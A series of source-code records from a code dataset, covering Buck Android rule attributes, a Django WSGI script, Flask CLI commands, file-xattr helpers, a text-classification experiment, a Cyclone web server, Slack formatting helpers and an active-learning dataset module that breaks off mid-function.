android_toolchain(),\n \"_dex_toolchain\": _dex_toolchain(),\n \"_is_building_android_binary\": attrs.default_only(attrs.bool(default = True)),\n \"_is_force_single_cpu\": attrs.default_only(attrs.bool(default = FORCE_SINGLE_CPU)),\n \"_is_force_single_default_cpu\": attrs.default_only(attrs.bool(default = FORCE_SINGLE_DEFAULT_CPU)),\n \"_java_toolchain\": java_toolchain_for_android(),\n },\n \"android_build_config\": {\n \"_android_toolchain\": android_toolchain(),\n \"_build_only_native_code\": attrs.default_only(attrs.bool(default = is_build_only_native_code())),\n \"_is_building_android_binary\": is_building_android_binary_attr(),\n \"_java_toolchain\": java_toolchain_for_android(),\n },\n \"android_instrumentation_apk\": {\n \"aapt_mode\": attrs.enum(AaptMode, default = \"aapt1\"), # Match default in V1\n \"apk\": attrs.transition_dep(cfg = do_not_build_only_native_code_transition),\n \"cpu_filters\": attrs.list(attrs.enum(TargetCpuType), default = []),\n \"deps\": attrs.list(attrs.split_transition_dep(cfg = cpu_split_transition_instrumentation_test_apk), default = []),\n \"dex_tool\": attrs.string(default = \"d8\"), # Match default in V1\n \"manifest\": attrs.option(attrs.one_of(attrs.transition_dep(cfg = cpu_transition), attrs.source()), default = None),\n \"manifest_skeleton\": attrs.option(attrs.one_of(attrs.transition_dep(cfg = cpu_transition), attrs.source()), default = None),\n \"min_sdk_version\": attrs.option(attrs.int(), default = None),\n \"_android_toolchain\": android_toolchain(),\n \"_dex_toolchain\": _dex_toolchain(),\n \"_is_building_android_binary\": attrs.default_only(attrs.bool(default = True)),\n \"_is_force_single_cpu\": attrs.default_only(attrs.bool(default = FORCE_SINGLE_CPU)),\n \"_is_force_single_default_cpu\": attrs.default_only(attrs.bool(default = FORCE_SINGLE_DEFAULT_CPU)),\n \"_java_toolchain\": java_toolchain_for_android(),\n },\n \"android_instrumentation_test\": {\n \"_android_toolchain\": android_toolchain(),\n \"_java_toolchain\": java_toolchain_for_android(),\n },\n \"android_library\": {\n \"abi_generation_mode\": attrs.option(attrs.enum(AbiGenerationMode), default = None),\n \"resources_root\": attrs.option(attrs.string(), default = None),\n \"_android_toolchain\": android_toolchain(),\n \"_build_only_native_code\": attrs.default_only(attrs.bool(default = is_build_only_native_code())),\n \"_dex_min_sdk_version\": attrs.default_only(attrs.option(attrs.int(), default = dex_min_sdk_version())),\n \"_dex_toolchain\": _dex_toolchain(),\n \"_is_building_android_binary\": is_building_android_binary_attr(),\n \"_java_toolchain\": java_toolchain_for_android(),\n \"_kotlin_toolchain\": _kotlin_toolchain(),\n },\n \"android_manifest\": {\n \"_android_toolchain\": android_toolchain(),\n },\n \"android_prebuilt_aar\": {\n # Prebuilt jars are quick to build, and often contain third-party code, which in turn is\n # often a source of annotations and constants. To ease migration to ABI generation from\n # source without deps, we have them present during ABI gen by default.\n \"required_for_source_only_abi\": attrs.bool(default = True),\n \"_android_toolchain\": android_toolchain(),\n \"_build_only_native_code\": attrs.default_only(attrs.bool(default = is_build_only_native_code())),\n \"_dex_min_sdk_version\": attrs.default_only(attrs.option(attrs.int(), default = dex_min_sdk_version())),\n \"_dex_toolchain\": _dex_toolchain(),\n \"_java_toolchain\": java_toolchain_for_android(),\n },\n \"android_resource\": {\n \"assets\": attrs.option(attrs.one_of(attrs.source(allow_directory = True), attrs.dict(key = attrs.string(), value = attrs.source(), sorted = True)), default = None),\n \"project_assets\": attrs.option(attrs.source(allow_directory = True), default = None),\n \"project_res\": attrs.option(attrs.source(allow_directory = True), default = None),\n \"res\": attrs.option(attrs.one_of(attrs.source(allow_directory = True), attrs.dict(key = attrs.string(), value = attrs.source(), sorted = True)), default = None),\n \"_android_toolchain\": android_toolchain(),\n \"_build_only_native_code\": attrs.default_only(attrs.bool(default = is_build_only_native_code())),\n },\n \"apk_genrule\": genrule_attributes() | {\n \"type\": attrs.string(default = \"apk\"),\n \"_android_toolchain\": android_toolchain(),\n },\n \"gen_aidl\": {\n \"import_paths\": attrs.list(attrs.arg(), default = []),\n \"_android_toolchain\": android_toolchain(),\n \"_java_toolchain\": java_toolchain_for_android(),\n },\n \"prebuilt_native_library\": {\n \"native_libs\": attrs.source(allow_directory = True),\n },\n \"robolectric_test\": {\n \"abi_generation_mode\": attrs.option(attrs.enum(AbiGenerationMode), default = None),\n \"resources_root\": attrs.option(attrs.string(), default = None),\n \"robolectric_runtime_dependencies\": attrs.list(attrs.source(), default = []),\n \"_android_toolchain\": android_toolchain(),\n \"_build_only_native_code\": attrs.default_only(attrs.bool(default = is_build_only_native_code())),\n \"_is_building_android_binary\": attrs.default_only(attrs.bool(default = False)),\n \"_java_test_toolchain\": attrs.default_only(attrs.exec_dep(\n default = select_java_test_toolchain(),\n providers = [\n JavaTestToolchainInfo,\n ],\n )),\n \"_java_toolchain\": java_toolchain_for_android_test(),\n \"_kotlin_toolchain\": _kotlin_toolchain(),\n },\n}\n","sub_path":"buck-build/prelude/android/android.bzl","file_name":"android.bzl","file_ext":"bzl","file_size_in_byte":11805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"361571379","text":"#!/usr/bin/env python2.6\n# vim:ft=python:\n\n\nimport os\nimport sys\n\nif '/srv/custom' not in sys.path:\n sys.path.append('/srv/custom')\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'elremate.settings'\n\nimport django.core.handlers.wsgi\n\n_application = django.core.handlers.wsgi.WSGIHandler()\n\ndef application(environ, start_response):\n environ['PATH_INFO'] = environ['SCRIPT_NAME'] + environ['PATH_INFO']\n return _application(environ, start_response)\n","sub_path":"apache/elremate.wsgi","file_name":"elremate.wsgi","file_ext":"wsgi","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"252864014","text":"import os\nimport time\n\nfrom .string import *\n\ndef set_file_mtime(path, timestamp):\n if hasattr(path, \"fileno\"):\n path = path.fileno()\n os.utime(path, (time.time(), timestamp))\n\ndef get_file_attr(path, attr):\n try:\n if hasattr(path, \"fileno\"):\n path = path.fileno()\n value = os.getxattr(path, \"user.%s\" % attr)\n try:\n return value.decode(\"utf-8\")\n except UnicodeDecodeError:\n return value\n except FileNotFoundError:\n raise\n except OSError:\n return None\n\ndef set_file_attr(path, attr, value):\n try:\n if hasattr(path, \"fileno\"):\n path = path.fileno()\n if hasattr(value, \"encode\"):\n value = value.encode(\"utf-8\")\n if value:\n os.setxattr(path, \"user.%s\" % attr, value)\n else:\n os.removexattr(path, \"user.%s\" % attr)\n except FileNotFoundError:\n raise\n except OSError:\n return\n\ndef list_file_attrs(path):\n try:\n if hasattr(path, \"fileno\"):\n path = path.fileno()\n return [attr[5:] for attr in os.listxattr(path) if attr.startswith(\"user.\")]\n except FileNotFoundError:\n raise\n except OSError:\n return []\n\ndef get_file_attrs(path, attrs=None):\n try:\n if not attrs:\n attrs = list_file_attrs(path)\n return {attr: get_file_attr(path, attr) for attr in attrs}\n except FileNotFoundError:\n raise\n except OSError:\n return {}\n\ndef set_file_attrs(path, attrs):\n try:\n for attr, value in attrs.items():\n set_file_attr(path, attr, value)\n except FileNotFoundError:\n raise\n except OSError:\n return\n\ndef chunk(vec, size):\n for i in range(0, len(vec), size):\n yield vec[i:i+size]\n\ndef uniq(items):\n seen = set()\n for item in items:\n if item not in seen:\n seen.add(item)\n yield item\n","sub_path":"lib/python/nullroute/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"413423827","text":"#!/usr/bin/env python\nimport logging\nimport os\nimport pytest\nimport subprocess\nimport sys\n\nfrom dotenv import load_dotenv\nimport coverage\nimport click\n# from flask.cli import FlaskGroup\n\n\nfrom humetrics.server import create_app, db, engine\nfrom humetrics.server.models import Base, User, Syllabus\nfrom utils import import_and_create_models\n\n\n# run app factory, and set config from config.py based on \n# env vars in .env and set in the OS\n\napp = create_app(os.getenv('FLASK_ENV'))\n \n# TODO check if cli that's created in create_app is enough\n# cli = FlaskGroup(create_app=create_app)\n\n# code coverage\nCOV = coverage.coverage(\n branch=True,\n include=\"humetrics/*\",\n omit=[\n \"humetrics/tests/*\",\n \"humetrics/server/config.py\",\n \"humetrics/server/*/__init__.py\",\n ],\n)\nCOV.start()\n\n@app.cli.command()\ndef showenv():\n \"\"\"simple check for devs that the config is what's expected \"\"\" \n logging.info('env = %r' % app.env)\n for key in sorted(app.config.keys()):\n logging.debug(\"%s: %s\" % (key, app.config[key]))\n\n\n@app.cli.command()\n@click.option('--files', multiple=True, help='A file to import models from. Multiple can be specified')\n@click.option('--default', default=True, help='Should you pick up the default option of all model(s).py files recursively through the entire folder structure')\ndef create_db(files, default):\n uri = os.environ['DBURL']\n import_and_create_models(files, default, uri)\n\n\n@app.cli.command()\ndef drop_db():\n \"\"\"Drops the db tables.\"\"\"\n db.drop_all()\n\n\n@app.cli.command()\n@click.option('--username', prompt='username for admin user',\n default='admin',\n help='standard username, not an email address, default = admin')\n@click.option('--email', prompt='email address', \n help='email address of this admin user, no default provided')\ndef create_admin(username,email):\n \"\"\"Creates a user with admin privs\"\"\"\n admin = User(username=username, email=email, password=\"admin\")\n admin.is_admin = True # this doesn't work in the create record, but this does\n db.add(admin)\n db.commit()\n\n\n@app.cli.command()\ndef test():\n # note that currently need to manually set env\n # FLASK_ENV=test; flask test\n # was pytest.main(['-rA -x -s', 'humetrics/test/'])\n pytest.main(['-rA', 'humetrics/test/'])\n\n\n@app.cli.command()\ndef cov():\n \"\"\"Runs the unit tests with coverage.\"\"\"\n '''\n tests = unittest.TestLoader().discover(\"humetrics/tests\")\n result = unittest.TextTestRunner(verbosity=2).run(tests)\n if result.wasSuccessful():\n COV.stop()\n COV.save()\n logging.debug(\"Coverage Summary:\")\n COV.report()\n COV.html_report()\n COV.erase()\n sys.exit(0)\n else:\n sys.exit(1)'''\n logging.debug('Currently not implemented')\n sys.exit(0)\n\n\n@app.cli.command()\ndef flake():\n \"\"\"Runs flake8 on the project.\"\"\"\n subprocess.run([\"flake8\", \"humetrics\"])\n\n","sub_path":"syllabuster.py","file_name":"syllabuster.py","file_ext":"py","file_size_in_byte":2950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"12207036","text":"import sys\nsys.path.append(\"..\\\\..\\\\Lib\")\nimport cPickle as pickle\nimport struct\nfrom encodings import hex_codec\nimport json\n\ndef decode_details(data):\n detail = [\n \"spotted\",\n \"killed\",\n \"hits\",\n \"he_hits\",\n \"pierced\",\n \"damageDealt\",\n \"damageAssisted\",\n \"crits\",\n \"fire\"\n ]\n details = {}\n\n binlen = len(data) // 22\n for x in range(0, binlen):\n offset = 4*binlen + x*18\n vehic = struct.unpack('i', data[x*4:x*4+4])[0]\n detail_values = struct.unpack('hhhhhhhhh', data[offset:offset + 18])\n details[vehic] = dict(zip(detail, detail_values))\n return details\n\n\ndef load_details_blob(blob):\n try:\n results = pickle.loads(blob)\n if results:\n for k, v in results['vehicles'].items():\n results['vehicles'][k]['details'] = decode_details(v['details'])\n return json.dumps(results)\n except Exception:\n return \"{}\"","sub_path":"scripts.py","file_name":"scripts.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"284977474","text":"# _*_ coding=utf-8 -*_\n'''\nCreated on 2017-03-21\n@author: yyf\n'''\n\nimport random\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom tools import *\nfrom naivebayes import *\nfrom simple_softmax import *\n\nDATADIR = \"/home/yyf/Documents/ml/introduction2ml/new_weibo_13638\"\nUSE_WORD_GRAM = False\nDELTA = 0.7\nUSENVIVEBAYES = True\nUSESOFTMAX = False\nGRADIENT_CHECK = False\nUSEBOOTSTRAP = False\n\n# dirs = os.listdir(DATADIR)\n# for dir in dirs:\n# print(dir.decode(encoding=\"utf-8\"))\n# files = os.listdir(os.path.join(DATADIR, dir))\n# print(len(files))\n# print(deal_passage(os.path.join(DATADIR, dir, files[1])))\n# break\n# 从文件夹中读取数据到dataset对象中,利用其中的函数进行处理\ndataset = read_data(DATADIR)\n\nif USENVIVEBAYES:\n precisions = []\n d = 0.6\n topk = [1, 2]\n tpre = []\n # test, train 是讲将所有的data分成训练和测试数据\n # 他们的格式形如[(label, passage), (label, passage), ...]\n # 每个passage是词的list, 形如[word, word, ...]\n for test,train in dataset.partition():\n pre = []\n nb = NaiveBayes(test, train, dataset.labels, d / 10.)\n nb.train()\n # 测试topk的准确率\n for k in topk:\n pre.append(nb.precision(k))\n # 测试训练的准确率\n # pre.append(nb.train_precision())\n tpre.append(pre)\n precisions.append(np.mean(tpre, axis=0))\n\n print (\"Final results:\")\n print(precisions)\n\nif GRADIENT_CHECK:\n # 神经网络的梯度检查, 确保求得的梯度是正确的.\n model = Softmax(False, 2, 2)\n model.regular = 0.1\n model.use_regular = True\n X = np.random.random_sample((2, 1))\n Y = np.random.random_sample((2, 1))\n Y = model.__softmax__(Y)\n model.gradient_check(X, Y)\n\n print (\"sparsed version\")\n model = Softmax(True, 100, 10)\n X = np.array([[1, 9]])\n Y = np.random.random_sample((10, 1))\n Y = model.__softmax__(Y)\n model.gradient_check(X, Y)\n\n print(\"check y\")\n model = Softmax(True, 100, 10)\n model.regular = 0.2\n model.use_regular = True\n X = np.array([[1, 9]])\n Y = np.array([5])\n model.gradient_check(X, Y)\n\ndef bootstrap(X, y, k=3):\n # 将每个passage进行采用,扩大样本的大小,\n # 每个词被选中的概率为(k-1)/k\n bx, by = [], []\n for idx, x in enumerate(X):\n x = np.array(x)\n indices = np.arange(len(x))\n for _ in range(k):\n random.shuffle(indices)\n bx.append(x[indices % k != 0])\n by.append(y[idx])\n return bx, by\n\nif USESOFTMAX:\n word_dict = dataset.word_dict()\n for test, train in dataset.partition():\n idx2label = dataset.labels\n label2idx = {}\n for idx, lbl in enumerate(idx2label):\n label2idx[lbl] = idx\n num_features = len(word_dict.ngram2ind)\n num_classes = len(idx2label)\n n = len(train)\n model = Softmax(True, num_features, 100, num_classes)\n print(num_features, num_classes, n)\n print (len(dataset.input))\n print(len(test))\n print(len(train))\n tx, ty = [], []\n # 将每个词转换成在词表中的indice\n # trainx形如[[w1, w2, ..], [w1, w2, ..], ...]\n # trainy: [lable1, lable2, ...]\n for lbl, psg in test:\n ty.append(label2idx[lbl])\n tx.append([])\n for ng in psg:\n tx[-1].append(word_dict.ngram2ind[ng])\n trainx, trainy = [], []\n for lbl, psg in train:\n trainx.append([])\n trainy.append(label2idx[lbl])\n for ng in psg:\n trainx[-1].append(word_dict.ngram2ind[ng])\n if USEBOOTSTRAP:\n bx, by = bootstrap(trainx, trainy)\n trainx.extend(bx)\n trainy.extend(by)\n print(len(trainx))\n # 将处理好的数据传递给model\n model.fit(trainx, trainy)\n for run in range(30):\n print(\"\\nrun %d:\"%(run))\n if model.train(max_epoch=30, eval_epoch=10) == 0:\n print(\"test precision is %f \" %(model.precision(tx, ty)))\n print (model.precision_log)\n print(\"test precision is %f \" %(model.precision(tx, ty)))\n break\n\n\n\n\n\n\n","sub_path":"yyf/prepro.py","file_name":"prepro.py","file_ext":"py","file_size_in_byte":4228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"126079434","text":"from PIL import Image\nimport numpy as np\n\nclass ImageProcessor():\n \n def __enter__(self):\n try:\n self.fd = Image.open(self.path)\n self.size = self.fd.size\n print(\"Loading image of dimensions \" + str(self.size[0]) + \" x \" + str(self.size[1]))\n except IOError:\n print(\"File not found\")\n exit()\n return (self)\n\n def __exit__(self, type, value, traceback):\n self.fd.close()\n\n def load(self, path):\n self.path = path\n if self.path[-4:] != \".png\":\n print(\"It's not a .png file\")\n else:\n self.__enter__()\n pix = self.fd.load()\n data = np.array(self.fd)\n return (data)\n\n def display(self, array):\n img = Image.fromarray(array, 'RGB')\n img.show()\n","sub_path":"day03/ex02/ImageProcessor.py","file_name":"ImageProcessor.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"388370141","text":"import cyclone.web\nfrom twisted.internet import reactor\nfrom twisted.python import log\n\nimport logging\nimport sys\n\nfrom cyclone.options import define, options, parse_command_line\n\nfrom views import HelloView, GoodByeView\n\nview_list = (HelloView, GoodByeView,)\n\n\nclass DefaultView(cyclone.web.RequestHandler):\n\n '''\n Default view, list all available namespaces.\n '''\n\n def get(self):\n urls = [view.root for view in view_list]\n infos = {\n 'Avaiblable namespaces': urls,\n 'Hint': \"Append '.help' to any object to get detailed informations.\"\n }\n return self.write(infos)\n\n\ndef main(port=8888):\n '''\n Starts the Cyclone web server\n\n :param: port: Port the web server should listen to\n :type: int\n\n '''\n # Optional, use it to clear the screen everytime the server is started.\n import os\n os.system('clear')\n\n handlers = [(r\"/\", DefaultView), ]\n handlers.extend(((\"/{}.*\".format(view.root), view) for view in view_list))\n\n app = cyclone.web.Application(handlers=handlers,\n debug=True,\n )\n reactor.listenTCP(port, app)\n logging.info('Reactor server starting up on port {}'.format(port))\n log.startLogging(sys.stdout) # Enabling logging\n # running the server\n reactor.run()\n\nif __name__ == '__main__':\n define(\"port\", default=8888, help=\"runs on the given port\", type=int)\n parse_command_line()\n main(options.port)\n","sub_path":"blog_source_code/exposing_class_as_webservice/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"440888006","text":"\ndef format_number(value):\n return value\n\n\ndef field(title, value, short=True):\n return {\n 'title': title,\n 'value': value,\n 'short': short\n }\n\n\ndef link(url, title, followers=''):\n if followers:\n followers = format_number(followers)\n followers = \" ({} followers)\".format(followers)\n\n return \"<{url}|{title}>{followers}\".format(url=url, title=title, followers=followers)\n\n\ndef aboutme(aboutme_dict):\n aboutme_handle = aboutme_dict.get('handle')\n if not aboutme_handle:\n return ''\n value = link(\"https://about.me/{}\".format(aboutme_handle), aboutme_handle)\n return field('AboutMe', value)\n\n\ndef angellist(angellist_dict):\n angellist_handle = angellist_dict.get('handle')\n if not angellist_handle:\n return ''\n value = link(\"https://angel.co/{}\".format(angellist_handle),\n angellist_handle,\n angellist_dict['followers'])\n return field('AngelList', value)\n\n\ndef github(github_dict):\n github_handle = github_dict.get('handle')\n if not github_handle:\n return ''\n value = link(\"https://github.com/{}\".format(github_handle),\n github_handle,\n github_dict['followers'])\n return field('GitHub', value)\n\n\ndef facebook(facebook_dict):\n facebook_handle = facebook_dict.get('handle')\n if not facebook_handle:\n return ''\n value = link(\"https://www.facebook.com/{}\".format(facebook_handle), facebook_handle)\n return field('Facebook', value)\n\n\ndef twitter(twitter_dict):\n twitter_handle = twitter_dict.get('handle')\n if not twitter_handle:\n return ''\n value = link(\"http://twitter.com/{}\".format(twitter_handle),\n twitter_handle,\n twitter_dict['followers'])\n return field('Twitter', value)\n\n\ndef linkedin(linkedin_dict):\n linkedin_handle = linkedin_dict.get('handle')\n if not linkedin_handle:\n return ''\n value = link(\"https://www.linkedin.com/{}\".format(linkedin_handle), linkedin_handle)\n return field('LinkedIn', value)\n","sub_path":"clearbit_slack/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"37542467","text":"# noinspection PyInterpreter\nimport json\nimport os\nfrom numpy import ndarray\nimport torch\nfrom tqdm import tqdm\nfrom active_learning.data_utils import total_sum\nfrom torch.nn.utils.rnn import pad_packed_sequence, pack_sequence\nfrom torch.distributions.categorical import Categorical\n\nTQDM_MODE = True\n\n\nclass ActiveLearningSubset:\n def __init__(self, dataset, indices):\n self.indices = indices\n self.dataset = dataset\n self.access_mode = \"data\"\n\n def __getattr__(self, item):\n self.access_mode = item\n\n def __getitem__(self, idx):\n idx = self.indices[idx]\n return self.dataset.__getattr__(self.access_mode)[idx]\n\n\nclass ALAttribute:\n def __init__(self, name: str, initialisation: torch.tensor, cache: bool = False):\n # might change cache to arbitrary length\n self.name = name\n self.attr = initialisation\n self.cache = cache\n if cache:\n self.prev_attr = initialisation.copy()\n\n def __getitem__(self, idx):\n return self.attr[idx]\n\n def __setitem__(self, idx, value):\n raise Exception(\"Use update_attr_with_instance instead of setting item\")\n\n def __len__(self):\n return len(self.attr)\n\n def generate_nans(self, new_data):\n nans = [float('nan') for nd in new_data] if isinstance(new_data, list) else float('nan')\n raise RenovationError('Need to find a way to add more data under pytorch implementation')\n\n def get_attr_by_window(self, window):\n return self.attr[window.i][window.slice]\n\n # Put asserts in here!!!\n def update_attr_with_window(self, window, new_attr):\n assert self.get_attr_by_window(window).shape == new_attr.shape\n if self.cache:\n self.prev_attr[window.i][window.slice] = self.attr[window.i][\n window.slice\n ].copy()\n self.attr[window.i][window.slice] = new_attr\n\n def update_attr_with_instance(self, i, new_attr):\n # assert self.attr[i].shape == new_attr.shape\n if self.cache:\n try:\n self.prev_attr[i] = self.attr[i].copy()\n except AttributeError:\n self.prev_attr[i] = self.attr[i]\n self.attr[i] = new_attr\n\n def expand_size(self, new_data):\n self.attr.extend(self.generate_nans(new_data))\n\n def add_new_data(self, new_data):\n self.attr.extend(new_data)\n\n\nclass StochasticAttribute(ALAttribute):\n def __init__(\n self,\n name: str,\n initialisation: list,\n M: int,\n cache: bool = False,\n ):\n super(StochasticAttribute, self).__init__(name, initialisation, cache)\n assert len(initialisation) == M, f\"Initialisation for {self.name} requires list of length M\"\n assert [initialisation[m].shape == initialisation[0].shape for m in range(M)]\n self.M = M\n\n def __setitem__(self, idx, value):\n raise Exception(\"Use update_attr_with_instance instead of setting item\")\n\n def get_attr_by_window(self, window):\n return [draw[window.i][window.slice] for draw in self.attr]\n\n def update_attr_with_window(self, window, new_attr):\n assert len(new_attr) == self.M, f\"Require list of M MC draws for {self.name}\"\n # assert self.get_attr_by_window(window).shape == new_attr.shape\n for m in range(self.M):\n self.attr[m][window.i][window.slice] = new_attr[m]\n if self.cache: self.prev_attr[m][window.i][window.slice] = self.attr[m][window.i][window.slice]\n\n def update_attr_with_instance(self, i, new_attr):\n # assert self.attr[i].shape == new_attr.shape\n assert len(new_attr) == self.M, f\"Require list of M MC draws for {self.name}\"\n for m in range(self.M):\n self.attr[i] = new_attr\n if self.cache: self.prev_attr[m][i] = self.attr[m][i]\n\n @staticmethod\n def entropy_function(probs):\n return Categorical(probs=probs).entropy()\n\n def data_uncertainty(self, window):\n attr = self.get_attr_by_window(window)\n entropies = [self.entropy_function(a) for a in attr]\n return torch.mean(entropies)\n\n def total_uncertainty(self, window):\n attr = self.get_attr_by_window(window)\n average_attr = torch.mean(attr)\n return self.entropy_function(average_attr)\n\n def knowledge_uncertainty(self, window):\n return self.total_uncertainty(window) - self.data_uncertainty(window)\n\n\nclass ActiveLearningDataset:\n def __init__(\n self,\n data,\n labels,\n index_class,\n semi_supervision_multiplier,\n al_attributes=None,\n ):\n\n # When initialised with labels, they must be for all the data.\n # Data without labels (i.e. in the real, non-simulation case), must be added later with self.data\n\n if al_attributes is None: al_attributes = []\n nan_init = torch.ones_like(labels)*float('nan')\n\n self.attrs = {\n \"data\": ALAttribute(name=\"data\", initialisation=torch.tensor(data)),\n \"labels\": ALAttribute(name=\"labels\", initialisation=torch.tensor(labels)),\n \"temp_labels\": ALAttribute(name=\"temp_labels\", initialisation=nan_init.copy()),\n \"last_preds\": ALAttribute(name=\"last_preds\", initialisation=nan_init.copy(), cache=True),\n }\n\n self.attrs.update({ala.name: ala for ala in al_attributes})\n self.semi_supervision_multiplier = semi_supervision_multiplier\n self.index = index_class(self)\n\n def __getattr__(self, attr):\n return self.attrs[attr]\n\n def add_attribute(self, new_attribute):\n attr_name = new_attribute.name\n if attr_name in self.attrs:\n raise AttributeError(f\"Dataset already has attribute {new_attribute.name}\")\n else:\n self.attrs[attr_name] = new_attribute\n\n def add_data(self, new_data):\n new_data = [torch.array(nd) for nd in new_data]\n _ = [v.add_new_data(new_data) if k == 'data' else v.expand_size(new_data) for k, v in self.attrs.items()]\n\n def add_labels(self, window, labels):\n self.labels.update_attr_with_window(window, labels)\n\n def add_temp_labels(self, window, temp_labels):\n self.temp_labels.update_attr_with_window(window, temp_labels)\n\n def data_from_window(self, window):\n return self.data.get_attr_by_window(window)\n\n def labels_from_window(self, window):\n return self.labels.get_attr_by_window(window)\n\n def update_attributes(self, batch_indices, new_attr, sizes):\n raise NotImplementedError\n\n def update_preds(self, batch_indices, preds, lengths):\n raise NotImplementedError\n\n def process_scores(self, scores, lengths):\n raise NotImplementedError\n\n # def get_temporary_labels(self, i):\n # temp_data = self.data[i]\n # temp_labels = [self.data[i][j] if j in self.index.labelled_idx[i]\n # else self.temp_labels[i][j] for j in range(len(temp_data))]\n # return temp_data, temp_labels\n\n def __getitem__(self, idx):\n if isinstance(idx, int):\n return ActiveLearningSubset(self, [idx])\n elif isinstance(idx, slice):\n idxs = list(range(*idx.indices(len(self))))\n return ActiveLearningSubset(self, idxs)\n\n def __len__(self):\n return len(self.data)\n\n\nclass DimensionlessDataset(ActiveLearningDataset):\n def __init__(\n self,\n data,\n labels,\n index_class,\n semi_supervision_multiplier,\n data_reading_method=lambda x: x,\n label_reading_method=lambda x: x,\n al_attributes=[],\n ):\n super(DimensionlessDataset, self).__init__(\n data, labels, index_class, semi_supervision_multiplier, al_attributes\n )\n self.data_reading_method = data_reading_method\n self.label_reading_method = label_reading_method\n\n def update_attributes(self, batch_indices, new_attr_dict, lengths):\n for attr_name, attr_value in new_attr_dict.items():\n for j, i in tqdm(enumerate(batch_indices), disable=not TQDM_MODE):\n self.__getattr__(attr_name).update_attr_with_instance(i, attr_value[j])\n\n def process_scores(self, scores, lengths=None):\n return scores\n\n def get_batch(self, batch_indices, labels_important: bool):\n\n X = torch.vstack(\n [self.data_reading_method(self.data[i]) for i in batch_indices]\n )\n y = torch.vstack(\n [self.label_reading_method(self.labels[i]) for i in batch_indices]\n )\n semi_supervision_mask = torch.ones(y.shape)\n\n if labels_important:\n # Fill in with semi-supervision labels\n for j, label in enumerate(y):\n instance_index = batch_indices[j]\n if self.index.labelled_idx[instance_index]:\n pass\n elif self.index.temp_labelled_idx[instance_index]:\n y[j] = self.temp_labels[instance_index]\n elif self.index.unlabelled_idx[instance_index]:\n y[j] = torch.exp(torch.tensor(self.last_preds[instance_index]))\n semi_supervision_mask[j] = self.semi_supervision_multiplier\n else:\n raise Exception(\n \"Instance index does not appear in any of the annotation status lists\"\n )\n\n return X, y, torch.tensor([]), semi_supervision_mask\n\n return (\n X,\n torch.tensor([]),\n torch.tensor([]), # was lengths\n semi_supervision_mask,\n )\n\n\nclass ImageClassificationDataset(ActiveLearningDataset):\n def __init__(\n self, data, labels, index_class, semi_supervision_multiplier, al_attributes=None\n ):\n al_attributes.append(ALAttribute(name=\"data\", initialisation=torch.tensor(data)))\n\n super(ImageClassificationDataset, self).__init__(\n data, labels, index_class, semi_supervision_multiplier, al_attributes\n )\n\n def update_attributes(self, batch_indices, new_attr_dict, sizes):\n for attr_name, attr_value in new_attr_dict.items():\n for j, i in enumerate(batch_indices):\n # Implement windows at some point, but not in this class!\n self.__getattr__(attr_name).update_attr_with_instance(i, attr_value[j])\n\n def process_scores(self, scores, sizes=None):\n return scores\n\n def get_batch(self, batch_indices, labels_important: bool):\n\n X = torch.tensor(self.data[batch_indices])\n y = torch.tensor([int(self.labels[i]) for i in batch_indices])\n semi_supervision_mask = torch.ones(y.shape)\n\n if labels_important:\n # Fill in with semi-supervision labels\n for j, label in enumerate(y):\n instance_index = batch_indices[j]\n if self.index.labelled_idx[instance_index]:\n pass\n elif self.index.temp_labelled_idx[instance_index]:\n y[j] = self.temp_labels[instance_index]\n elif self.index.unlabelled_idx[instance_index]:\n y[j] = torch.exp(torch.tensor(self.last_preds[instance_index]))\n semi_supervision_mask[j] = self.semi_supervision_multiplier\n else:\n raise Exception(\n \"Instance index does not appear in any of the annotation status lists\"\n )\n\n return X, y, torch.tensor([]), semi_supervision_mask\n\n return (\n X,\n torch.tensor([]),\n torch.tensor([]), # was lengths\n semi_supervision_mask,\n )\n\n\nclass OneDimensionalSequenceTaggingDataset(ActiveLearningDataset):\n def __init__(\n self,\n data,\n labels,\n index_class,\n semi_supervision_multiplier,\n padding_token,\n empty_tag,\n al_attributes=[],\n ):\n super().__init__(\n data, labels, index_class, semi_supervision_multiplier, al_attributes\n )\n self.empty_tag = empty_tag\n self.padding_token = padding_token\n\n def update_attributes(self, batch_indices, new_attr_dict, lengths):\n for attr_name, attr_value in new_attr_dict.items():\n for j, i in enumerate(batch_indices):\n self.__getattr__(attr_name)[i] = attr_value[j][: lengths[j]]\n\n def process_scores(self, scores, lengths):\n return [scores[i, :length].reshape(-1) for i, length in enumerate(lengths)]\n\n def get_batch(\n self, batch_indices, labels_important: bool\n ): # batch_indices is a list, e.g. one of labelled_set\n \"\"\"\n labels_important flag just to save a bit of time\n \"\"\"\n\n sequences, tags = [self.data[i] for i in batch_indices], [self.labels[i] for i in batch_indices]\n\n padded_sentences, lengths = pad_packed_sequence(\n pack_sequence(\n [torch.LongTensor(_) for _ in sequences], enforce_sorted=False\n ),\n batch_first=True,\n padding_value=self.padding_token,\n )\n padded_tags, _ = pad_packed_sequence(\n pack_sequence([torch.LongTensor(_) for _ in tags], enforce_sorted=False),\n batch_first=True,\n padding_value=self.empty_tag,\n )\n\n semi_supervision_mask = torch.ones(padded_tags.shape)\n\n if labels_important:\n # Fill in the words that have not been queried\n for j, sentence_tags in enumerate(padded_tags):\n sentence_index = batch_indices[j]\n for token_idx in range(int(lengths[j])):\n if 